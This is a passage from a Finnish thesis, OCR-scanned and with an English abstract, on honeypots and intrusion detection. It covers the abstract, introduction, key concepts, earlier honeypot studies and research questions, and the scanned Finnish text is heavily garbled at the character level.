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Tutkielmassa vertailtiin tietoturvaloukkausten ja niiden yritysten tunnistami-
seen kehitettyjd ohjelmistoja, joita kdytetddn parantamaan organisaatioiden tie-
toturvallisuutta. Tutkittiin, miten tietojdrjestelmiin pyritddn murtautumaan ja
mitd murtautujat pyrkivit murretussa tietojdrjestelméssd tekemddn. Hunaja-
purkki on tdhdn tarkoitukseen suunniteltu, mielenkiintoinen, toisaalta myos
hieman ristiriitainen tytkalu, mikd voidaan toteuttaa suojaamaan tuotantojar-
jestelmid tai toimimaan erillisend tutkimuksen apuvilineend. Hunajapurkki
ottaa vastaan verkkohyokkédyksid ja mahdollistaa murtautujan toiminnan tieto-
jdrjestelmassa siind laajuudessa, kuin se halutaan mahdollistaa. Hunajapurkkeja
kaytettdessd nousee esille kuitenkin my6s lainsdddannélliset ja eettiset ongel-
mat, mink3 lisdksi se voi muodostaa teknisen riskin tuotantojdrjestelmille. Vaa-
rin toimiva hunajapurkkijarjestelmd voi pahimmassa tapauksessa mahdollistaa
pddsyn organisaation tietoverkkoon tai pddtyd osaksi palvelunestohyokkayksia.
Kun hunajapurkkia kdytetddn, sen toiminta ja valvonta on suunniteltava tark-
kaan, my0s lainsdadanto ja eettiset seikat huomioiden. Tutkimus jakautui kah-
teen osaan: teoriaosiossa perehdyttiin hyokkayksentunnistusjdrjestelmiin, paa-
asiassa hunajapurkkijdrjestelmiin - niiden teknisiin vaatimuksiin ja vaaditta-
vaan osaamiseen, laillisuusndkokulmiin sekd mahdollisiin ongelmiin jarjestel-
man kaytossd. Kokeellisessa osassa asennettiin oma avoimeen ldhdekoodiin
perustuva, ns. keskitason vuorovaikutuksen hunajapurkkijarjestelma. Sen avul-
la keréttiin mittava tutkimusaineisto, mistd péédstiin tutkimaan hyokkagjien 1ah-
teitd ja heiddn toimiaan jdrjestelmédssd. Kerdtty aineisto antoi mielenkiintoisen
ndkymédn verkkohyokkdysten todellisuuteen: saatiin kartoitettua hyokkdysten
mé&drid ja maantieteellisid ldhteitd, kdytossd olleita murtautumismenetelmid,
murtautumiseen kdytettyjd sanakirjoja sekd murtautujien jarjestelmddn syotta-
mid komentoja. Tutkimuksessa paljastui hieman ylldttden, ettd murtautujat ei-
vét juuri tavoitelleet murretun tietokoneen sisdltod, vaan tarkein tavoite oli yrit-
tdd saastuttaa se haittaohjelmin. Tdssd tutkimuksessa tehdyt havainnot antavat
pohjaa jatkotutkimuksille, esimerkiksi havaittujen automaattisten murtautu-
mismenetelmien tai hunajapurkkiin ladattujen haittaohjelmien tutkimiseen.
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This study compared software used to recognize security breaches and their
attempts to improve organizations information security. It was examined how
attackers try out to hack into system and what commands they execute after a
successful login attempt. A honeypot system, as a main topic, is one of the most
interesting but also controversial systems in field of network security. The main
purposes of the system are to improve security of production systems and ex-
plore commands operated by the hackers. The system is ready for network at-
tacks and allows black hat hackers to break in the system and tracks all com-
mands given by the hacker. There are some legislative and ethical issues but
also technical risks facing to the production systems. A faulty or misconfigured
honeypot may offer a non-limited access to organization’s network or generate
a large amount of unwanted network traffic. If the honeypot system is deployed,
the operation and monitoring should be planned carefully, including legislative
and ethic requirements. The study is divided into two parts: a literature review
concentrates to intrusion detection and protection systems, especially the
honeypot systems, their technical and knowledge requirements, legislative per-
spectives and possible issues in production use. In a research part, a medium
interaction, an open source honeypot system was deployed. The system gath-
ered a significant amount of research data which enabled a great possibility to
investigate sources of network attacks and hacker's actions in the system. The
research gave an interesting view to reality of network attacks: attack sources,
attack methods, username password dictionaries and input commands were
resolved. It was discovered that hackers were not interested in computer itself,
the main goal was to infect the system with malware programs. This study and
the results enables a good basis for further researches, e.g. malware code or au-
tomated breaking method analysis.

Keywords: hacking, information security, network attacks, security breach
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1 JOHDANTO

Informaatioteknologia on ldsné ldhes kaikissa organisaatioissa ja ihmisten arjes-
sa. Internetid kédyttden hoidetaan suuri osa pdivittdisistd rutiineista sekd ihmis-
ten ja koneiden vélisestda kommunikaatiosta. Suurin osa organisaatioiden in-
formaatiosta sijaitsee tietojdrjestelmissd, kdyttdjien tietokoneilla sekd muilla
pddtelaitteilla, jotka ovat alttiita tietoturvaloukkauksille ja niiden yrityksille.

Tietojdrjestelmien turvallinen ylldpito edellyttdd ymmarrystd niiden toi-
minnasta sekd riskienhallinnasta. Verkossa julkaistavat palvelut ovat nakyvasti
esilld ja ne ovat otollisia kohteita murtautumisyrityksille. Ndiden jdrjestelmien
suojaukseen luonnollisesti panostetaan paljon, mikd on my6s pahantahtoisten
hakkerien tiedossa. Organisaatioissa vdhemmadlle huomiolle voivat jaada kayt-
tdjien tydasemat ja muut péddtelaitteet, jotka voivat pahimmassa tapauksessa
tarjota pdadsyn organisaation verkkoon ja palveluihin, jos kyseisiin laitteisiin
pddstddn kasiksi esimerkiksi haittaohjelmien avulla. CERT-raporttien mukaan
jopa yli 70 % hyokkédyksistd saa alkunsa organisaation sisdltd (Jain & Singh,
2011).

Tdssd tutkimuksessa perehdyttiin hyokkdyksentunnistusjarjestelmiin, joi-
den tehtdvand on valvoa verkkoliikennettd ja pyrkid havaitsemaan mahdollisia
miét, jotka paitsi tilastoivat hyokkdyksid, myos mahdollistavat hunajapurkin
hallitun murtautumisen jarjestelmédan. Hunajapurkin avulla voidaan ndhdi,
mistd hyokkadykset tulevat, kuinka paljon niitd tehd&d&n, miten hyokkaykset to-
teutetaan ja mitd hyokkadjat murretussa jdrjestelméssd pyrkividt saamaan ai-
kaan.

Tarkeimpid asioita tutkimuksessa oli saada ymmarrys hunajapurkkijarjes-
telmien toiminnasta ja niihin liittyvistd ongelmista. Hunajapurkkien ylldpito
vaatii teknistd osaamista ja ymmarrystd niihin liittyvistd riskeistd - vadrin toi-
miva hunajapurkki voi olla riski muille jdrjestelmille tai aiheuttaa haittaa ver-
kossa, osallistuen esimerkiksi palvelunestohyokkéayksiin. Oman kysymyksensa
tuottavat myos hunajapurkkien lailliset ja eettiset ndkokulmat. Koska hunaja-
purkit kerddvit tietoa hyokkadjistd, taytyy ymmartdd, mitd toimia hyokkadjia
vastaan saa kohdistaa. On myos mahdollista, ettd hyokkaysten takana on henki-
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16itd tai tahoja, joiden tietokoneita kédytetddn vadrin, omistajien tietdméttd asias-
ta mitdaan.

Tama tutkimus toteutettiin konstruktiivisena tutkimuksena, jonka kokeel-
lisessa osassa perustettiin oma ns. keskitason interaktion hunajapurkki, minka
avulla saatiin kerdttyd mittava tutkimusaineisto verkkohyokkayksistd ja toimis-
ta murtautumisen yhteydessd. Aineiston perusteella saatiin ymmarrys hyok-
kaysten ldhteistd ja hyokkdysmenetelmistd, haitallisen verkkoliikenteen méaéaras-
td ja ndhtiin, mitd murretussa tietojdrjestelmédssd pyrittiin tekemddn. Aineisto
sisdlsi my0s lukuisia haittaohjelmia, joiden toimintaa kaytiin ldvitse mahdolli-
suuksien mukaan. Hyokkdysten méadrd osoittautui ylldttavan suureksi, kun ot-
taa huomioon, ettei hunajapurkissa ollut mitdén verkossa nakyvaa jarjestelmad
- esimerkiksi www-sivustoa - eikéd siihen ollut kytketty domain-nimed. Hyok-
kaykset kohdistettiin vain tdhdn satunnaiseen IP-osoitteeseen.

Tutkimus alkaa perehtymalld hyokkdyksentunnistus- ja hunajapurkkijar-
jestelmiin liittyviin tutkimuksiin ja etenee oman hunajapurkin perustamiseen.
Alussa kdydddn ldvitse asennusvaiheet ja esitellddn tiedonkeruutavat, minka
jilkeen esitellddn tutkimusjakson aikana kerdtty aineisto ja tehddén siitd huo-
mioita ja pddtelmid. Tutkimuksessa paljastui mielenkiintoisia piirteitd hyokkaa-
jistd ja heiddn kiinnostuksen kohteistaan murrettuja tietojdrjestelmid kohtaan.
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2 TUTKIMUKSEN TAUSTA

Internetin yleistymisen ja verkkoon kytkettyjen laitteiden lukumaédran kasvun
vuoksi tietoturvallisuudesta huolehtiminen on yhé tiarkedmpéad. Internetiin kyt-
kettyihin laitteisiin kohdistuu jatkuvasti verkkohyokkayksid, joten niiltd suojau-
tuminen on tarkedd. On kuitenkin tidrkedd myos ymmartdd, mitd vastaan suo-
jaudutaan ja mitd mahdollisesti tapahtuu, jos jdrjestelméddn pddstdan murtau-
tumaan. Hunajapurkit lukeutuvat hyokkdyksentunnistusjdrjestelmiin, joiden
avulla voidaan tutkia verkkohyokkéayksid, murtautumisyrityksid ja tietomurto-
jen seurauksia. Tdssd luvussa kuvataan tutkimuksen aihepiiri ja tutkimuksessa
kaytettaviat keskeiset kasitteet. Lisdksi perehdytddan kahteen aiempaan hunaja-
purkkitutkimukseen ja esitellddn niiden tuottamaa tutkimusaineistoa.

2.1 Aihepiirin kuvaus

Internetin rooli on yhad keskeisemmassd osassa pdivittdistd arkeamme, organi-
saatioiden tiedonhallintaa ja liiketoimintaa. Valtaosa kaikesta tiedonhallinnasta
toteutetaan kayttamalld erilaisia verkkoon kytkettyjd ohjelmistoja. Ohjelmisto-
jen ja niiden tuottaman datan suojaaminen edellyttdd valvonta- ja suojaustoimia,
koska niihin kohdistuu valtava mddrd pdivittdin erilaisia hyokkaysyrityksid
(Marchese, Surlinelli & Zappatore, 2010).

Internet-palvelujen (ja palvelimien) valvonta on erityisen tidrkedd, mutta
lukemattomia hyokkaysyrityksid kohdistuu my6s muihin verkkoon kytkettyi-
hin tietokoneisiin ja laitteisiin. Hyokké&djat myos tietdvit internetiin kytkettyjen
jarjestelmien olevan suojattuja ja valvottuja, joten on helpompaa yrittdd murtau-
tua tavallisten kayttdjien tietokoneisiin ja yrittdd saada sitd kautta selville esi-
merkiksi kdyttdjatunnuksia tietojdrjestelmiin (Jain & Singh, 2011).

Oleellisia verkonvalvonnan ja suojauksen tyokaluja ovat hyokkayksen-
tunnistus- ja hyokkayksenestojdrjestelméat (IDS- ja IPS-jdrjestelmat). Yksi tunne-
tuimmista hyokkayksentunnistusjdrjestelmistd on avoimen ldhdekoodin Snort,
joka valvoo ja tunnistaa kayttojarjestelmddn sisddn tulevaa verkkoliikennettd,
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pyrkii tunnistamaan haitallisen liikenteen ja ilmoittaa tédstd ylldpitdjélle reaaliai-
kaisesti (Tiwari & Jain, 2012).

Hunajapurkki on yksi tehokas suojaus- ja valvontatapa muiden suojausjar-
jestelmien ohella. Hunajapurkkiin kohdistuvat hyokkadykset kirjataan lokeihin
ja raportoidaan. Sen avulla voidaan esimerkiksi oppia hyokké&djan toiminnasta
ja pyrkid tunnistamaan hyokkadjan motiivit (Jain & Singh, 2011).

Ennen hunajapurkin perustamista on ymmarrettdava riskit ja maariteltava
tarkkaan, mitd hyokkadja voi hunajapurkissa tehdd sekd kuinka sitd yllapide-
tddn ja valvotaan. Samalla tdytyy tiedostaa, mitkd ovat omat lakisddteiset oi-
keudet seurata murtautujien toimintaa tai kohdistaa toimia niihin (Jain & Singh,
2011).

2.2 Keskeiset kisitteet

Hiekkalaatikko

Hiekkalaatikko (sandbox) on eristetty ajoympéristo, jossa voi ajaa turvattomiksi
epdiltyjd ohjelmia turvallisesti. Ympaéristostd ei ole pddsyd jdrjestelmdn ulko-
puolelle eikd mahdollisesti haitallinen ohjelma péddse tekemddn pysyvid muu-
toksia jarjestelmadn. (Geier, E., 2012).

Hunajapurkki

Hunajapurkki on jdrjestelmd, joka tarkoituksella altistetaan verkkohyokkayksil-
le. Jarjestelmastd tehdddn tarkoituksellisesti haavoittuva, joka péillisin puolin
pyrkii antamaan murtautujalle vaikutelman, ettd on p&assyt kiinni tuotantopal-
velimeen tai organisaation tietoliikenneverkkoon (Jain & Singh, 2011).

Hunajapurkin tehtdva ja toiminta ovat tarkkaan maéaériteltyjd. Se voi toimia
esimerkiksi SSH-, WWW- tai FTP-palvelimena. Sen pddasiallinen tarkoitus on
suojata tuotantojdrjestelmid (production honeypot), tai olla tutkimuksen apuva-
lineend (research honeypot) tutkittaessa murtautujien toimintaa ja tavoitteita.
(Jain & Singh, 2011).

IDS

IDS (Intrusion Detection System), tunkeutumisen havaitsemisjdrjestelmd, on
ohjelmisto, jonka tehtdvand on valvoa tietoverkon liikennettd ja tunnistaa siita
merkkejd mahdollisista hyokkaysyrityksistd. IDS-jarjestelmét toimivat sdantsjen
pohjalta - ne esimerkiksi tutkivat poikkeamia normaaliksi luokitellun liikenteen
seasta. IDS-jarjestelmiksi voidaan luokitella my®os lokien tutkimiseen tarkoitetut
tyokalut, tiedostojen eheystarkistustyokalut sekd hunajapurkit. (Baumrucker
ym., 2003).
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IoT (Internet of Things)

Internet of Things on yleisnimitys laitteille tai vilineille, jotka ovat yhteydessa
toisiinsa muodostaen laajan tiedonvilityksen infrastruktuurin. Namd voivat
perustua olemassa oleviin tai kehittyviin verkkoteknologioihin. Tyypillisesti
laitteissa voidaan ajaa kehittyneitd ohjelmistoja mahdollistaen niiden monipuo-
lisen kdyton. (ITU-T Publications, 2016).

IPS

IPS (Intrusion Prevention System), hyokkdyksenestojdrjestelméd, on ohjelmisto,
jonka tehtdvdnd on estdd verkkohyokkdys. Namad jdarjestelmaét katkaisevat aktii-
visesti kayttdjien yhteyksid ja estdvat uusien yhteyksien avaamisen oletetun
tunkeutujan verkko-osoitteesta. (Kumar & Sangwan, 2012).

Verkkohyokkadys

Verkkohyokkdys tarkoittaa pahantahtoisen kdyttdjan toimia kohteena olevaan
tietojdrjestelméddn tai tietoverkkoon kayttden verkkoyhteyttd, yleensd internet-
yhteyttd. Tutkimuksissa on havaittu ainakin kolme erilaista hyokkdystyyppid:
kayttooikeusrikkomukset, roskapostihyokkdykset sekd verkkoskannaukset.
(Marchese, Surlinelli & Zappatore, 2010).

2.3 Tietoturvallisuuden avaintekijat

2.3.1 Tietoturvallisuus yleisesti

Tietoturvallisuutta voidaan maddritelld seitsemédn peruskdsitteen avulla:
hallinnollinen tietoturvallisuus, henkilostoturvallisuus, fyysinen turvallisuus,
tietoliikenneturvallisuus, ohjelmistoturvallisuus, tietoaineistoturvallisuus ja
kayttoturvallisuus. Kdyn ndamd ldavitse lyhyesti, vaikka tutkimus keskittyykin
tietoliikenneturvallisuuden ympérille.

Hallinnollinen tietoturvallisuus tarkoittaa organisaation hallinnollisia keino-
ja, joilla tdhdatdan tietoturvallisuuden parantamiseen. Keskeiset tyokalut sen
toteuttamiseksi ovat tietoturvasuunnitelma ja tietoturvapolitiikka. Tietoturva-
politiikkaan ei ole yhtd yhtendistd mallia, vaan sen sisdlto vaihtelee organisaa-
tioittain. Yleensd se on lyhyehkd julkaisu, jossa kerrotaan organisaation kannal-
ta oleelliset tietoturvallisuuteen liittyvét asiat sekd mddritellddn niiden osalta
vastuulliset organisaation osat (kuten osastot tai palvelukeskukset) ja henkilot.
Esimerkiksi Turun yliopiston verkkosivuilla avoimesti julkaistu tietoturvapoli-
tiikka
(https:/ /www.utu.fi/fi/ yksikko/yliopistopalvelut/ tietohallinto/ tietoturva/Si
vut/ Tietoturvapolitiikka.aspx) kdsittdd seuraavat padakohdat:
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e Yleistd
o Tietoturvallisuuden kolme ulottuvuutta
o Tavoitteet
e Organisointi
o Johtaminen ja valtuudet
o Vastuut
e Tietoturvallisuuden toteuttaminen
o Turvamekanismit
o Ennakkosuunnittelu
e Viestintd

Tietoturvasuunnitelmaan kirjataan yksityiskohtaisesti kehittamiskohteet ja
aikataulut sekd toimenpiteet tietoturvapolitiikassa mddriteltyjen tavoitteiden
saavuttamiseksi. (Sulosaari, 2004).

Henkildstoturvallisuudella tarkoitetaan ihmisten, sekd oman organisaation
henkildston, ettd ulkopuolisten henkilviden, toiminnasta aiheutuvien tietotur-
variskien hallintaa. Riskit voivat johtua joko tahallisesta toiminnasta, kuten
anastuksista, kavalluksista, petoksista tai yritysvakoilusta tai tahattomasta toi-
minnasta, kuten osaamattomuudesta tai vahingoista. Henkilostoturvallisuudes-
sa keskeisid asioita ovat toimintatavat, rekrytointi, toimenkuvat, kidyttooikeudet,
koulutus, opastaminen ja valvonta. Kriittisissd tehtdvissd on lisdksi tarkedd, ettd
useammalla kuin yhdelld henkilolld on tehtdvadd koskeva tieto ja osaaminen.
(Sulosaari, 2004).

Fyysinen turvallisuus kasittdd toimitilojen ja kdyttoympdristdjen asianmu-
kaisen suojaamisen mm. lukituksilla, kulunvalvonnalla ja vartioinnilla. Lisdksi
on oleellista suojata tdrkedt tilat myos mahdollisia ymparistovahinkoja ajatellen,
kuten tulipaloa tai vesivahinkoa varten. (Sulosaari, 2004).

Tietolitkenneturvallisuudella tarkoitetaan siirrettdvan tiedon ja tietoa siirtd-
vien laitteiden fyysistd turvallisuutta. Tietoliikenneturvallisuuden avulla pyri-
tddn varmistamaan tietojen muuttumattomuus, luottamuksellisuus ja todenta-
maan ldhettdvdt ja vastaanottavat osapuolet. Tietoliikenneturvallisuudessa
huomioidaan kéaytettdvit tiedonsiirtoteknologiat (laitteistot, protokollat, tieto-
turvaohjelmistot, salaukset jne.) Organisaatiot eroavat tyypillisesti toisistaan
sekd kaytossd olevien teknologioiden, ettd tietoturvallisuuteen suhtautumisensa
osalta. (Sulosaari, 2004).

Ohjelmistoturvallisuus kdsittdd ohjelmistoihin ja kdyttojarjestelmiin liittyvaa
turvallisuutta. Sithen vaikuttavat mm. tietokonearkkitehtuurit, kdyttojarjestel-
mat, ohjelmistojen k&dntdjat, sovellukset sekd mahdolliset haittaohjelmat ja vi-
rukset. Lisdksi ohjelmistoissa olevat ohjelmointivirheet (“bugit”) voivat aiheut-
taa tietoturvauhkia. Ohjelmistojen tietoturvavaatimukset on ehdottomasti otet-
tava huomioon jo suunnittelu- tai hankintavaiheessa, koska tietoturvaominai-
suuksien parantaminen jilkikédteen voi olla hyvin hankalaa ja kallista. Raat&loi-
hyihin tietojadrjestelmiin on usein paadytty sen vuoksi, ettd monet valmisohjel-
mistot eivét sisdlld organisaation kannalta oleellisia ominaisuuksia tai niiden
tietoturvallisuus ei ole vaaditulla tasolla. (Sulosaari, 2004).
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Tietoaineistoturvallisuudessa keskeistd on suojata késiteltava tieto eli turvata
sen eheys, muuttumattomuus, aitous, saatavuus ja luottamuksellisuus. Tietoai-
neistoturvallisuuteen liittyy my0s tietovilineiden tunnistaminen, tiedon turval-
lisuusluokitukset, tiedon sdilyttdiminen, varmistaminen ja lopulta tarpeettoman
tiedon tuhoaminen. Tiedon turvaluokittelussa tdrked yksityiskohta on huomi-
oida myds turvaluokituksen muuttuminen ajan kuluessa, esimerkiksi salainen
tieto voi aikanaan muuttua julkiseksi. (Sulosaari, 2004).

Kayttéturvallisuus tarkoittaa turvallisen kayttotavan, kdyttoympariston, ta-
pahtumien valvonnan ja toiminnan jatkuvuuden hallintaa. Turvallinen kaytto-
tapa edellyttdd jarjestelmien asennukselta ja ylldpidolta organisaation tietotur-
vasuunnitelman mukaista toimintaa. Turvallinen kdyttoymparisto muodostuu
tietojdrjestelmien ja laitteistojen turvallisuuden ylldpidosta. Tapahtumien val-
vonta toteutetaan tyypillisesti kirjaamalla jdrjestelmien tapahtumia lokeihin ja
seuraamalla niitd aktiivisesti. Jatkuvuuden hallintaa toteutetaan laatimalla jat-
kuvuussuunnitelma sekd siihen liittyvid muita dokumentteja, kuten toipumis-
suunnitelma, kuvaus pddasynvalvonnan toteutuksesta, kuvaus lokitiedostojen
sijainneista sekd kuvaukset muista suojaustoimenpiteistd. (Sulosaari, 2004).

2.3.2 Verkko- ja internet-turvallisuus

Internet on keskeisessd osassa pdivittdistd arkeamme ja kaikkea liiketoi-
mintaa. Valtaosa kaikesta organisaatioiden tietojen hallinnasta suoritetaan kayt-
tden erilaisia verkkoon kytkettyjd ohjelmistoja. Ndiden ohjelmistojen ja niiden
tuottaman informaation suojaaminen edellyttdd valvontatoimia, koska niihin
kohdistuu valtava mééré erilaisia hyokkaysyrityksid joka pdivd (Marchese, Sur-
linelli & Zappatore, 2010).

Valvonta on erityisen tiarkedd julkisessa verkossa olevien palvelujen osalta,
mutta hyokkdysyrityksid kohdistuu paljon myds muihin verkkoihin sekéd niihin
kytkettyihin tietokoneisiin ja laitteisiin. Todellisuudessa hyokkadjat tietavéat in-
ternetiin kytkettyjen jdrjestelmien olevan suojattuja ja valvottuja, joten on hel-
pompaa yrittdd murtautua tavallisten kéyttdjien tietokoneisiin ja yrittdd saada
sitd kautta selville esimerkiksi kdyttdjatunnuksia tietojdrjestelmiin (Jain & Singh,
2011).

Oleellisia verkonvalvonnan ja suojauksen tyodkaluja ovat hyokkdyksen-
tunnistus- (IDS) ja hyokkdyksenestojdrjestelmat (IPS). Yksi tunnetuimmista
hyokkadyksentunnistus- ja estojadrjestelmistd on avoimen ldhdekoodin Snort, jo-
ka valvoo ja tunnistaa kdyttojdrjestelméddn sisddntulevaa verkkoliikennettd ja
pyrkii tunnistamaan haitallisen liikenteen sen seasta ja ilmoittaa tastd yllapita-
jélle reaaliaikaisesti (Tiwari & Jain, 2012).

Hunajapurkki on yksi tehokas suojaus- ja valvontatapa muiden suojausjar-
jestelmien ohella. Se on jdrjestelmd, johon murtautuminen on mahdollista, sa-
malla se suojaa todellisia tuotantokdytossa olevia jdrjestelmid. Hunajapurkkiiin
kohdistuvat hyokkaykset raportoidaan ja kaikesta sielld tehtdviastd toiminnasta
jad jalki. Sen avulla voidaan esimerkiksi oppia hyokkéadjan toiminnasta ja pyrkia
tunnistamaan hyokkadjan motiivieja. (Jain & Singh, 2011).
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Tietoja kerddvat hunajapurkit ja muut IDS-jdrjestelmét eivit kuitenkaan
yksin riitd selvittdmaan, ketkd ovat hyokkdysten takana ja minké&lainen tekni-
nen infrastruktuuri hyokkadjillda on kdytossdan. Yksi ratkaisu tdhdn voisi olla
maailmanlaajuinen IDS-jdrjestelmien verkko ja yhteistyd, jonka avulla saataisiin
keskitetysti kerdttyd tietoa ympédri maailmaa tapahtuvista verkkohyokkayksista.
Tdllaisen koordinoidun yhteistyon ja yhteisten vélineiden avulla voitaisiin tut-
kia, kuinka suureen tietokoneiden joukkoon kyseinen hyokkdys kohdistuu,
koska se on alkanut, koska se on havaittu viimeksi, millaisilla menetelmilld
hyokkdys toteutettiin ja millaisia haittaohjelmia asennettiin. T&llaisia tyokaluja
on tarjolla mm. yhdysvaltalaisella Anomali-yritykselld, joka esitteli ajatuksia
tallaisesta toiminnasta CERT-organisaation jdrjestdamassa tilannetietoista kyber-
turvallisuutta késittelevdssd FloCon 2016 -konferenssissa. (Trost, 2016).

2.4 Tutkimuksen motiivit

Tietoturvallisuus ja verkkohyokkédykset ovat hyvin ajankohtaisia aiheita ja ovat
jatkuvan uutisoinnin kohteena. Samalla kun kasvava osa yritysten ja organisaa-
tioiden toiminnasta on tietojdrjestelmien varassa, myos niiden kiinnostavuus
pahantahtoisten kéyttdjien keskuudessa kasvaa.

Internetiin suoraan tai vilillisesti liitetyt tietojdrjestelmit sekd yksittdiset
tietokoneet ovat alttiina erilaisille tietoturvaloukkauksille. Mitd enemman pal-
veluita tarjotaan internetin vdlitykselld, sitdi enemmin ne kohtaavat jatkuvia
tietoturvaloukkauksia ja niiden yrityksid. Myos yksittdisten kayttdjien tietoko-
neet ovat kiinnostavia kohteita, koska niistd voi 16ytya esimerkiksi kadyttdjatieto-
ja, joiden avulla voidaan p&ddstd murtautumaan muihin tietojdrjestelmiin.

IoT-laitteiden (Internet of Things) mé&ard kasvaa jatkuvasti, minka lisdksi
niiden suojaus on vaikeampaa kuin perinteisten tietokoneiden tai tietojirjestel-
mien. Niitd murretaan jatkuvasti ja niitd kdytetddn mm. osana hajautettuja pal-
velunestohyokkayksid. Téllaisten laitteiden suojaaminen edellyttdd tietoa lait-
teiden teknisistd toteutuksista sekd murtautujien kdyttamistd murtautumisme-
netelmista.

2.5 Aikaisemmin tehdyt tutkimukset

Aikaisempia tutkimuksia hunajapurkkijarjestelmistd on toistaiseksi tehty suh-
teellisen vdhan, vaikka hunajapurkkijdrjestelmén idea ei ole kovin uusi. Huna-
japurkkeja on kdytetty jdrjestelmien suojaamiseen ja tietoturvatutkimuksiin
suunnilleen vuodesta 2000 alkaen (Marchese, Surlinelli & Zappatore, 2010).
Muutamia tutkimuksia kuitenkin 16ytyy, joita kdytetddn tamén tutkimuksen
lahteina.
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Marchese, Surlinelli ja Zappatore (2010) perustivat tutkimuksessaan Ho-
neywall- ja Honeyd-ohjelmistojen avulla honeynet-hunajapurkkiympériston
University of Cenoa -yliopistossa, johon sijoitettiin kolme fyysistd palvelinta.
Tietokoneissa kdytettiin Windows- ja Linux-kayttojdrjestelmid sekd molemmis-
sa koneissa ndytettiin ajavan kayttojdrjestelmiin tyypillisesti asennettavia verk-
kopalveluita. Kolmas tietokone toimi palomuurina, jossa ajettiin Honeywall-
ohjelmistoa. Jarjestelmét olivat kdytossa nelja kuukautta, minkd aikana ne kera-
sivdt merkittdvan maddran tutkimusaineistoa. Kuvio 1 ndyttdd eri maiden osuu-
det verkkohyokkéyksistd, joita kertyi yhteensd 905 649 kappaletta 10 156 eri IP-
osoitteesta. (Marchese, Surlinelli & Zappatore, 2010).
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Kuvio 1. Eri maiden osuus verkkohyokkayksistd (Marchese, Surlinelli & Zappatore, 2010).

Koska tutkimusjakso oli pidempi ja kédytossa olleet hunajapurkit tarjosivat
my0s useita ndenndisid verkkopalveluita, oli kyseinen tutkimus tdtd tutkimusta
laajempi. Kuitenkin vuonna 2010 tehty tutkimus antaa hyvin samanlaisia tulok-
sia kuin tdmé& vuonna 2016 toteutettu tutkimus - SSH-yhteyksien osuus n. 60 %
kaikista avatuista yhteyksistd. Taméan lisdksi selvisi, ettd kdytetyt kayttdjatun-
nus-salasanaparit olivat pddasiassa samoja, mitd tdssd tutkimuksessa kdytetty
hunajapurkki kerési (ks. kappale 9). (Marchese, Surlinelli & Zappatore, 2010).

Toinen mielenkiintoinen tutkimus oli Yahyaouin (2014) toteuttama tutki-
mus Kippo-hunajapurkkijarjestelmdd kayttden, joka on sama ohjelmisto, mita
kdytetdan tdssda tutkimuksessa. Kyseinen hunajapurkki oli kaytossd ajalla
6.2.2014 - 17.7.2014, minkd aikana se kerdsi 369 538 kirjautumisyritystda 1 039
yksittdisestd IP-osoitteesta, keskimddrin 2 160 kirjautumisyritystd vuorokaudes-
sa. Kadyttdjatunnus-salasanaparit olivat myos tdssad tutkimuksessa paljolti samo-
ja kuin Marchesen, Surlinellin ja Zappatoren (2010), sekd tdssa tutkimuksessa.
Kuviossa 2 on esitetty IP-osoitteiden jakautuminen RIR-alueittain (Regional
Internet Registry). (Yahyaoui, 2014).

RIR-organisaatioita on viisi:
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e American Registry for Internet Numbers (ARIN): Pohjois-Amerikka

e RIPE Network Coordination Centre (RIPE NCC): Eurooppa

e Asia-Pacific Network Information Centre (APNIC): Aasia

e Latin American and Caribbean Internet Addresses Registry (LAC-
NIC): Latinalainen amerikka ja Karibia

e African Network Information Centre (AfriNIC): Afrikka

(IANA, 2016).
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Kuvio 2. Eri RIR-alueiden osuus verkkohyokkayksistd (Yahyaoui, 2014).
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3 TUTKIMUKSEN TAVOITTEET

Tdssd kappaleessa késitelldan tutkimuksen aihepiiri, kdytettavat tutkimusmene-
telmdt ja odotetut tulokset. Tutkimus toteutetaan konstruktiivisena tutkimuk-
sena, jossa perehdytddn hunajapurkkien ominaisuuksiin sekd perustetaan oma
hunajapurkkijarjestelma.

3.1 Aihepiirin rajaus ja tutkimusongelma

Tassd tutkimuksessa perehdytddn erilaisten hyokkdyksentunnistus- ja hunaja-
purkkijdrjestelmien ominaisuuksiin ja kdyttokohteisiin. Toteutetun hunaja-
purkkijdrjestelmdn avulla saadaan kerdttyd tietoa murtautujista, niiden kaytta-
mistd murtautumismenetelmistd, toimista murretussa tietojdrjestelmassd ja jar-
jestelmddn ladatuista haittaohjelmista. Tutkimuksen ulkopuolelle jad hunaja-
purkkijarjestelméadn ladattujen haittaohjelmien tarkka analysointi, koska niiden
turvalliseen testaamiseen tarvittaisiin muita teknisid menetelmid (kuten hiekka-
laatikkoympdristot ja koodianalyysit), joista saataisiin muodostettua oma tut-
kimuksensa.

Tutkimusongelma on: Miten hunajapurkkijarjestelmadd voidaan kayttaa
osana organisaation tietoturvallisuuden kehittamista ja millaisia tuloksia huna-
japurkilla saavutetaan.

Aihe jakautuu seuraaviin tutkimuskysymyksiin:

1. Millaisia teknisid edellytyksid hunajapurkkijdrjestelmén perustami-
nen vaatii?

2. Miten jarjestelmén kdytto tulee huomioida lainsddddannon ja tieto-
turvallisuuden kannalta?

3. Millaisia tuloksia hunajapurkkijdrjestelmdstd saadaan? Onko niista
konkreettista apua tietoturvallisuuden parantamisessa?
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3.2 Tutkimusmenetelmit ja tiedonkeruutavat

Tama tyo on konstruktiivinen tutkimus, joka koostuu késitteellisestd ja empiiri-
mistd tehtyjd tutkimuksia, selvennetddn késitteitd ja ndiden jédrjestelmien kaytto-
tarkoituksia. Lisdksi sivutaan muunlaisia IDS-jarjestelmid ja niiden ominai-
suuksia. Osuudessa selvitetddan myos hunajapurkkijdrjestelmien perustamisen
ja kdyton erityispiirteitd, mahdollisia riskejd sekd perehdytddan lyhyesti kdyton
laillisuuteen.

Tutkimuksen kokeellisessa osuudessa perustetaan keskitason interaktion
hunajapurkki (eri interaktio- eli vaikuttavuustasot esitellddn kappaleessa 5.2.2),
perehdytddn sen ominaisuuksiin ja kerdtddn sen avulla analysoitava tutkimus-
aineisto. Tehd&ddn aineiston perusteella pddtelmid hyokkaysten toteutuksista ja
tutkitaan pinnallisesti jarjestelmé&dn ladattujen haittaohjelmien toimintaa.

3.3 Odotetut tulokset ja niiden merkitys

Tutkimuksen tuloksena esitellddn kattavasti hunajapurkkijarjestelmien ominai-
suuksia, teknisid vaatimuksia ja ylldpidon kannalta tdrkeitd osaamisvaatimuk-
sia sekd mahdollisia kompastuskivid myos lainasddddnnon kannalta. Selvite-
teutetun hunajapurkkijédrjestelméan avulla saadaan tietoa murtautumisyrityksis-
